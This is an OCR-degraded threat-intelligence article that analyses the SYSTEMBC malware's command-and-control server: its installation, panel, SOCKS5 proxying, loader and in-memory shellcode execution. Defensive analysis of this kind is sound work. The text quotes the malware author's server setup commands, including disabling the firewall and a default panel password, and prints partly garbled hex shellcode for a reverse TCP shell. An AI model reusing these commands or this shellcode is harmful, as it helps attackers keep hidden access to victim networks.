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Inside the SYSTEMBC Command-and-Control Server

By Dave Truman
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Throughout Q2 and Q3 2023, Kroll has observed an increased use of the malicious “SYSTEMBC” tool to
maintain access in a compromised network. SYSTEMBC was first observed in the wild in 2018 with its core
functionality revolving around its ability to act as SOCKSS5 proxy. This provides a useful capability for threat
actors as a persistent access mechanism or for purposes of leaving behind a backdoor in case of discovery of their
initial access method. The SOCKS protocol allows for a threat actor to access a victim network almost as if their
workstation was directly connected. The tool has been leveraged by a number of threat actors across several
campaigns as well as used alongside many malware families, including RHYSIDIA, BLACKBASTA, CUBA,
GOOTLOADER, COBALTSTRIKE and EMOTET.

SYSTEMBC can be purchased on underground marketplaces and is supplied in an archive containing the implant,

a command-and-control (C2) server, and a web administration portal written in PHP.

The Kroll Cyber Threat Intelligence (CTT) team conducted research into SYSTEMBC, focusing on its C2 server.
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Watching the initial walkthrough of the SYSTEMBC C2 server from our threat intelligence expert, Dave Truman

SYSTEMBC Server Installation

SYSTEMBC comes as an installation package with several software components:
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e SYSTEMBC implant in standalone preinstallation environment (PE) Windows executable (.EXE) file

format

e SYSTEMBC implant as PE dynamic link library (DLL) file (32-bit and 64-bit versions)

e Server executable in Windows .EXE format

e Server executable in Linux executable and linkable format (ELF) format
o PHP file for rendering the C2 panel interface
e GeolP2 data

Alongside the software components, the developers of the malware provide a text file containing both English and

Russian language installation steps for the server.

RUSSTAN
BHHMAHME! socks.exe crywst wepea 5 syt nocne aanycxal!
CEPHED MMCET OFPAMWMEMME Wa “ucno nogqepeenaessn socksS cosgpuesnd. we Sonee 45151 coegumennd (nopme 40008-49151)
1Gbit server f 1800 socks = 1 mbit per socks

windews =

1. yeTanoBuTe I1IS # PHP 7. wecTpwounh wa anradicswom https:ffdocs.microsoft.comfen-us/iisfapplication- fraseworks/scenario-build-a-php-website-on-
iisfeonfiguring-step-1-install-iis-and-php

[ TRUNCATED FOR DISPLAY]

==========s======s=sssss=ssssssssssssssssssssssssszsss ENGLISH s==szszszszzsasz=z=

ATTENTION! socks.exe cose online after 5 minutes from start!
server have lisit supporting connections, ne sore 45151 (ports 400@-49151)
1Gbit server / 1008 socks = 1 sbit per socks

windows

1. dnstall IIS + PHP 7. instruction here https://decs.microsoft.comfen-us/iisfapplication-frameworks/scenario-build-a-php-website-on-iis/configuring-
step-l-install-iis-and-php

Figure 1 - Installation Instructions Provided in Both Russian and English

Installation instructions are provided for both Windows and Linux, containing detailed steps on packages to install
and execution commands to run. While the Windows instructions are much more succinct, Linux instructions are

more in-depth. They can be found below:

limux:
1. install apache + php 7
apt update
apt install apache? -y
apt install php -y

2. upload and run server.out

chmod 777 serwver.out
./server.out &

if u are using Cent0S need turn off firewall

# sudo systemctl stop iptables
# sudo systemct]l disable iptables

St need install to root folder of web server
http: //yourserver/systembe/password.php show online sockses (pass admd443). for security u can rename folder 'sytembe'

Figure 2 — Linux Installation

Finally, the installation document details how to set up fast flux for use with SYSTEMBC, although it states that

fast flux is not recommended to be used with the tool.
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not recommended use fastflux. because Ff need domain. more better use ip instead domain (domain can block)
for fastflux need additional settings. example config for haproxy
listen socksS_bc

bind *:4881 # (need to change with your port in builder)

mode teop

option clitcpka

option srvtcpka

server target send-proxy-v2

replace to ip of your server

+ need execute 3 commands on server of fastflux (not direct server. om ff)
sysctl net.ipvd.tcp_keepalive_time=6@
sysctl net.ipvd.tcp_keepalive_intwl=1@
sysctl net.ipwd.tcp_keepalive_probes=3

else sockses will disconnect every 1 minute

Figure 3 — Fast Flux Warning and Instructions

Within the fast-flux instructions are details on setting kernel-level parameters for network “keep alive” behaviors

as a mechanism to avoid the SOCKS connections from disconnecting.

SYSTEMBC Server Configuration

At the heart of the C2 side of the application is the “server” binary for Windows. This is called “server.exe”; for

Linux, it is called “server.out”. Our research focused on the Linux server due to its common use.
The server opens two or more Transmission Control Protocol (TCP) ports:

e One port for inter-process communication (IPC) between itself and the PHP-based panel interface, usually
port 4000 and bound to localhost.

e One port for C2 traffic. We have seen many different port numbers for C2 across the different servers that
the Kroll CTI team found in the wild; however, 443 is likely the default.

e For each active implant, the server opens a port. These range in number from 4001 to 49151.

The configuration for the C2 and IPC ports are represented as plain text string within the binary itself. Both port
number strings are prepended with a label acting as an identifying string “PORTO:” for IPC and “PORT1:” for C2.
Each is also padded with null characters so the space allocated for each would total six characters, allowing for a

five-printable and one null-terminating character representation of all valid TCP port numbers (1-65535).

00 00

Figure 4 — Port Settings Within Binary with Visible Padding

The way the data is stored within the binary indicates that it is likely to be configurable, potentially with a tool
that reads the binary and updates the values by searching for the labels and updating the strings. Testing modifying
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the values with a hex editor allowed for configuration of the ports.

There are core three data files that the server uses:
Figure 5 — Table of Server Executable’s Configuration Files

These files get created when the server needs them, so if no comments have been made for any implants/victims,

there will not be a .comments file.

The use of the value 49151 for the maximum port number hints that the developer might be used to lower-level
programming such as C or Assembly. While 49151 in its decimal notation doesn’t appear relevant, in hex it is
0xBFFF, which is one lower than a round number (0xC000). This indicates an awareness of the memory allocation

of integers.

( )-[/share/SYSTEMBC/fullpkg/systembc/Binaries |
strings server.out | grep asm
lserver.

)-[ /share/SYSTEMBC/fullpkg/systembc/Binaries |

Figure 6 — Source Filename Contained Within the Linux Server Binary

While it is generally reported that SYSTEMBC is written in C, there is reference to a source file within the Linux
Server binary that could indicate that part of SYSTEMBC was coded directly in Assembly language.

SYSTEMBC Control Panel

The SYSTEMBC panel is written as a single monolithic PHP script. The code itself appears mainly written as a
series of “if” statements, with little use of functions. At the beginning of the code, we can see the setup of the TCP
connection to the server binary with the port number of 4000 hardcoded. This indicates that while this port is
configurable in the binary, it is likely intended to be left at 4000. Rather than utilizing PHP’s built-in ability to act
as code nested within an HTML document, instead most of the HTML elements of the page are printed out with
the echo function. While both are valid approaches, the choice might provide insights into the developer’s

previous development experience.

@fsockopen('127.0.€.1"', 4eee, %$errno, ferrstr, 10);

Figure 7 — Control Panel PHP code with Hardcoded Connection String to Server IPC Port

One of the few separated-out functions, which solves an arguable non-complex problem, is a function called
“secondsToTime”, which appears to be copied and modified from a stack overflow post with the original

comments left in.
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shuu

$divisor_
$minutes = s

return $obj;

$infoArray = array(

& write function like this to return an array

5 ToTime(s s) {
@ Questions

Collectives™ on
Stack Overflow

=> (int) $ "
. => (int) $ -
..... -5 * -

Figure 8 — Side-by-Side Comparison of Function Within PHP Panel and Stack Overflow Post

Along with the previously mentioned maximum port, there are indicators that might also point to the possibility of
the developer having more experience (or interest) in lower-level programming, with the PHP being a means to an
end. For example, the developer would seek a faster way to get a working web interface rather than one of their

go-to technologies. Some of these indicators are:

e The minimalist and monolithic nature of the PHP code
 Printing the HTML elements rather than nesting of the PHP within an HTML document

e Choice to do most of the business logic within the server executable
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e Binary configuration files

 Utilization of externally sourced functions for relatively easy-to-write PHP code

The control panel is the attacker’s view of the machines they have infected. It is dominated by a table with a row
for the key details of each machine, most important of which is the port on which the C2 server is listening for

SOCKS traffic to tunnel into victim networks.

RAW DATA Settings Firewall
Country: ~
Region: ~
City: -

ONLINE: 1 OFFLINE: 0

buil dd

d
WORKGROUP\DESKTOP- UPTIME: AUTH
192.153.55.102 :_:;* tui5 PVBFD3lihans_ 192168.56.51..  moogoe  onorp  2EEIE  LOADER  COT

——— ——
—— —

_"-450_5

Figure 9 — SYSTEMBC C2 Panel Showing Active Implant with its SOCKS Access Port Highlighted

Core Functionalities of SYSTEMBC

SYSTEMBC has a small set of core functionalities; however, it is entirely based upon enabling other

functionalities. The functionality of SYSTEMBC can be broken down into 3 components.

e SOCKSS5 proxying onto a compromised host
e Loader functionality for running separate scripts and executables

e Module loading for on-the-fly expanding of SYSTEMBC implants core functionality

SOCKS5

Upon check-in, the implant establishes an outbound network connection from the victim machine to the C2 server;
that connection is kept open while the implant is running. On the C2, a listening TCP socket is created and
assigned a port number, which in turn is associated with the specific implant. This relationship is maintained via
the user of the .settings file. The server implements the SOCKSS5 protocol on the port associated with the implant
and accepts any SOCKS5 connections for which it will then send the network data to be proxied along with the
network connection established from the victim machine. Once received, the implant will forward traffic on this

network to the intended destination as if the victim machine had made the request.

A threat actor can use this SOCKS connection as a beachhead within the target network forwarding on any tool
with SOCKS support, including vulnerability scanners, password sprayers and remote connections. Often
overlooked, it also provides the actor with a means for attacking other networks from the victim network. This can
be useful in abusing trusted relationships between companies and for attacking from IP addresses that belong to
legitimate entities with a low-risk profile, rather than from anonymized IPs via VPNs or Tor that might trigger

security events on well-defended networks.
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Figure 10 — SOCKS Communication Across a Victim Network

The server-side configuration of the SOCKS access allows for two optional settings for the SOCKS proxy. Both

are geared toward securing the connection on behalf of the actor.

The first is the option to enable authentication individually for each connection. This is done by switching a toggle
for the specific implant on the main page. When toggled, the page changes to show a username and password that
can be used to authenticate via SOCKS5 protocol as defined in RFC 1929 for that specific implant. The username
and password are randomly generated and not set by the control panel user. Turning the authentication toggle off

and on again will cause the username and password to rotate. The configuration for this is stored in the .settings
file.

RAW DATA Settings Firewall

Country: w

Region: | v

City: i
OMLINE: 1 OFFLINE: 0 AUTH ONIIOFF
- user/password
. buld s WORKGROU . . .. [pmme: | AVTH QNOFE e

192168.56.102:4002 #1945 Pveroaaad  Wimvflh Irejqacjrfi pasos |ssevbesswod | OELETE  LOADER  Congy

Figure 11 — Authentication Toggle and Auto-Generated SOCKS Credentials
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File Edit View Go Caplure Analyze Ststistics Telephony ‘Wireless Took Help
dmse IBERABEQ+==ET i Eaaald

[WTicpsweamenz B -+
Mo, Temg SRR Destnabion Protocal  Lergsh Info
521 5.121293 152.168.56.1 192.168.56. 182 TeR 66 64796 = 4092 [SYN] Seqed WineS4248 Len=@ MSSe1460 WS=256 SACK_PERM
522 $.121812 192.168.56. 102 192.168.96.1 Tep 66 4002 + B4TI6 [SYN, ACK] Seqed Ack=l Win=B4240 Lensd MSSe1888 SACK_PERM WS=128
523 5.121568 152.168.56.1 192,168.56. 182 TeR S4 64796 » 4002 [ACK] Seqel Ackel Wine2102272 Len=d
524 5,121590 152.168.56.1 192,168.56. 182 TeR 57 64796 - 4092 [PSH, ACK] Seqel Ackel Wine2102272 Lene3 [TCP segment of a resssesbled POU]
525 §.121748 192.168.56. 102 192,168.56.1 Tep 60 4002 + 64796 [ACK] Seqsl Acked WinsE4256 Lensd
|l sa6 s.inee 192.168.56. 102 192.168.56.1 TeP 604002 + G476 _[PSH, ACK] FOU
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[Checksum Status: Unverified] i o 3
Urgent Pointer: 8 0030 91 16 du b 60 °

[Timestamps]
[SEQ/acE analysis] o
——n PO o . -

@7 A daia segment used in reassembly of a kwver-devel protnenl (iop. sagment_data), 2 bytes Packets: 3043 - Displayed: m{mm:ﬁmckom.mq Profie: Defaut

|3

Figure 12 — Packet Capture Showing Server Requiring SOCKS5 (05) Credential Authentication (02) as per RFC
1929

The second configuration option that affects the behavior of the SOCKS proxy functionality is the configuration

that is accessed via the link labeled “Firewall”.

RAW DATA Setting] Firewall
Country: ~
Region: hd
City: v

Firewall

OMLINE: 1 OFFLINE: 0

M P
_ WORKGROUP\DESKTOP- UPTIME:  AUTH ) Add
192.168.56.102:4002  #19045  pupr Ol 192168.56.51... oooase  owoer DEMEIE  LOADER

Figure 13 — Link to Host-based Access Control Configuration

By entering one or more IP addresses in the text area, the server will accept SOCKS connections from that list of

IP addresses. This is a global setting, and all implants will now only be SOCKSaccessible via these IP specific

addresses.
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192.168.56.245

Figure 14 — Host-based Access Control Configuration

The access control mechanism is not a firewall as it does not block access to the port and the application behind it.

Instead, the server process will immediately close the connection, instigating a graceful shutdown upon first use.

[~

B
B

L/

Figure 15 — Graceful Shutdown Initiated by Server on First Use After TCP Handshake
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The TCP port will still show up as open via a port scan from an IP address not in the allowed list; however,

indications of it handling SOCKSS5 protocol are no longer present in the packet data of that connection.

Loader

In order to run a file on a victim machine, a direct URL needs to be submitted to the file in the “LOAD URL”

textbox within the “LOADER” page. This will trigger the implant to execute a GET request for file download.
The implant can download via both HTTP and HTTPS.

LOAD URL: | hilpcl/ 192, 188.56. 102 fowhaane, bxt

Figure 16 — C2 Panel LOADER Page with Example URL

The loader contains functionality for multiple file extensions. Viewing the code in a decompiler, we can see that

the downloaded file will be treated as an .EXE by default and changed if one of the other extensions is used.

Figure 17 — File Extensions Executable by SYSTEMBC

This means that any file being sent without one of the extensions listed will be treated as an .EXE file, allowing a

filename to appear in network logs that might blend in more easily.
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4 20923-18-28 15:54:12 192.168.56.51 192.168. 56.182 216 GET /fowlware. txt HTTPf1.8

M Wireshari . Export - HTTP object list

Text Filter: Content Type: AN Content-Types

-PacJE.m Hostname Content Type  Size Filename
1736 19216856.102 ey plain 2426 kB fowhwarenx

Figure 18 — Network Traffic Capture of Implant Downloading a Remote File

Once the file has been downloaded, the implant saves the file to the % TEMP% directory with a filename
consisting of random lowercase characters and the file extension. The implant will set up a scheduled task to run

the downloaded file. The task list is made up of 19 lowercase characters. Since this scheduled task is set up to only

run once, it will no longer be visible after it is triggered.

TaskName: \idkaghxndspgukgulcw

Task To Run: C:\Users\hans_\AppData\Local\Temp\jdwltiu.exe

Figure 19 — Example Scheduled Task Created for Loading Other Malware on Compromised System
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IE Fowlware m} X

FOWLWARE

=

B.460 K 10444 K 1088 Host Process for Windows S...

3240K 700K 1672 fowhvare

Figure 20 — Downloaded Executable Running with Parent Process svchost.exe

The launch of the downloaded file via a scheduled task cannot easily be traced back to the implant by antivirus
solutions at runtime, as the parent process of that file will be svchost.exe and not the implant. This means that if

the new file gets blocked or quarantined, the implant might be able to continue unnoticed.

Shellcode

The shellcode functionality, which is also accessible via the “LOADER?” page, allows for a different approach in
executing malicious code. Instead of downloading and executing a file, the shellcode in backslash, escaped,

hexadecimal format can be sent to the implant directly via a text area on the page.
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SHELLCODE:

e3x48x01\xd 1'% 51 % 8bw 5920w 01 xd 3 xBb\x49'x 18\xe3\x 3a' x4 9% Bbix 34\xBb\x0 1 \xdB'\x 3 1\xffxacixe T\xefix0dx0 11x
cT\x3Bxel\ k75w fE w03\ x7d\xfBlx3bix7dx24\x75\xed x58\x8h\x 58w 24'x 0 1'wd Ix66\x8b\x0c\x4b\xB8b\x 58\ 1 ¢\ 0 T\xd 3\
8b\x04'x8b\x01'xdD\xBO\x44'\x 24'x 24\ Sb\x 5b\x 6 1\ x 59\ x Sax 5 1'xfiixe0\x 5fx5fxSaix8bi\x 1 2\ ebixB8d\x 5d\x68\x 33x 32'x0
000687 7\x7 3x 32554 wE8 wdc\x 7 T 26w 0 7 x fixd S\xb 8B 0 w0 1\ x00\x00'\x2 Dxcd ' x54 x50\ 68 % 29'x B 0wBb'\x0

0 fAxdS\xS0xE0wS0wE0 w40\ 504 0\ 5068 \xea\ xOfxd fxeMxfxd5ix 97\ x6a\x05\x68\xc0\xa8\x38\x 36\x 68\ 02\ 0
*x0fix9fx B9 xebxGalx 10 58\x57 68 1x 99\ x a5 \x 74\ x 61 \xfixdS\x 85w cOx 7 4\xOcwxifixde\x 08\ 7 Sxecxb 8\ flixbSxa2\x5
BxffixdS\x68\ eI wBd B4 008 xe3 kST \wETx57T W3 xfe\x6a\x 1 2\x 59\ k56 e 2\xfd\xB6\xe T x4 4\ 24 % 3c'w0 1'% 01'wBd
W x24T 0\xeB k0044 254 w50\ 56 56w 56 46\ 56\ x4e\x 56\ x56\x 53\ 56\ xBB T Dxcc\x INxBE \xffxd5\x 89 \xel\xde!
%5646 xix 3063 x08'x 87\ 1dwB0\xffixd5xbbixfOixb5\xa2\x 5668 \xat x95\x bd\x 9d xffixd 5\x3c\x06\x7 c\x0a'\x80'xfb
e\ 7 5\x05\whbixd 7\ 1 3w 7 2B hixBa\x00\x53\xfxds|

1698585728653e5c8081278.txt

Figure 21 — Example Shellcode for a Reverse TCP Shell Being Entered into C2 Panel

Shell No. 1
File Actions Edit View Help

djtl

Figure 22 — Reverse TCP Shell Running

The PHP control panel creates a text file contain the shellcode string utilizing the uniqid function seeded with the
current time for filename purpose. This gives the file a somewhat predictable filename as highlighted in figure 23,
the first part of the filename will be the 10-character UNIX timestamp, followed by 13 hexadecimal characters and

a “.txt” extension.
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fname = unigid(time

Figure 23 — PHP Code Used to Generate Distinctive Shellcode Filename on Server

The implant will download this file directly into memory. It then sets the area of memory via the VirtualProtect

Windows API call to executable by passing in 0x40, and then executes it via the CreateThread call.

Figure 24 — Code Within the Implant for Directly Executing Shellcode from Server

Unlike the loader, the implant does not write the downloaded shellcode file to disk before execution. This can be
seen when tracing the implant execution with the procmon utility. As such, the implant can avoid detection based

on filesystem-scanning AV tools, which will hinder obtaining malicious samples from disk forensics.

il ghpomwd exe 5984 =2 Thread Create

Figure 25 — Procmon Output Showing No File-Writes Around Time of Shellcode Execution

However, because the shellcode runs inside the implant itself, malicious activity might be able to be linked back to
the implant if detected at runtime. For example, with our reverse shell, we can see cmd.exe has spawned from our
implant process. An attacker will have to choose when to use the loader functionality and when to use code
injected directly into the implant itself to avoid detection, along with understanding what activities might draw

attention to the implant itself while utilizing the direct-code injection.
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—| [m’|ghpomwd .exe
—| i cmd.exe

Figure 26 — Reverse Shell Spawning as Child of Implant When Running as Shellcode

The shellcode functionality is not only limited to a reverse shell, but also has full remote capabilities that can be
injected into the implant at runtime, while being less obvious than spawning cmd.exe for a reverse shell. For
example, figure 27 shows a Meterpreter instance running inside the implant, which provides a full remote toolset
for performing a variety of post-exploitation activity. Because the remote functionality in Meterpreter is contained

within the code loaded directly into memory, the implant no longer has a suspicious cmd.exe.

File Actions Edit View Help

Figure 27 — Meterpreter Running After Being Injected via Shellcode Functionality
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"m | ghpomwd.exe <0.01 3,572K 8,572 K 5968

Figure 28 — Process Listing Showing No Obvious Sign Meterpreter is Running Within Implant

The loader, shellcode and ability to turn on SOCKS authentication functionality are duplicated in the settings page
of the control panel. The difference is that on the settings page, any submissions will be sent to all active implants,

with an option of setting a “repeat” timer.

AUTH ON/OFF

repeat every |0 | hour(s)

Figure 29 — Loader, Shellcode and SOCKS Functionality Duplicated for Global Deployment, with Repeat
Scheduling

Conclusion

SYSTEMBC represents a real and significant threat to organizations, as cybercriminals typically deploy it as a
method of maintaining access to an environment after initial compromise. Kroll has identified that SYSTEMBC is
favored by RHY SIDA ransomware operators. In one such case impacting a large health care organization, threat
actors accessed the system using compromised credentials coupled with a vulnerability in the client’s Citrix
NetScaler environment. Shortly after access, the threat actors deployed SYSTEMBC, which established their

beachhead into the victim environment, and allowed the actors to begin deploying additional tooling to further the
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attack. The actors used multiple tools during the incident, including Advanced Port Scanner for network discovery,
AnyDesk for remote access and MegaSync for exfiltration. After files were successfully encrypted, the actors

changed passwords to the system so that IT employees could not access the network.

When looking at a compromised device from the threat-actor point of view, the Kroll CTI team was able to
simulate the workflow of an attacker to recreate the launch of an attack using the SYSTEMBC toolset. Our
experts were able to leverage the tool as a backdoor into a victim’s network, demonstrating the tool’s utility and
ease of use. The program is commonly used for persistent access to a victim network or left behind as a secondary

ingress point in case the primary is discovered and remediated.

Source: https://www.kroll.com/en/insights/publications/cyber/inside-the-systembc-malware-server
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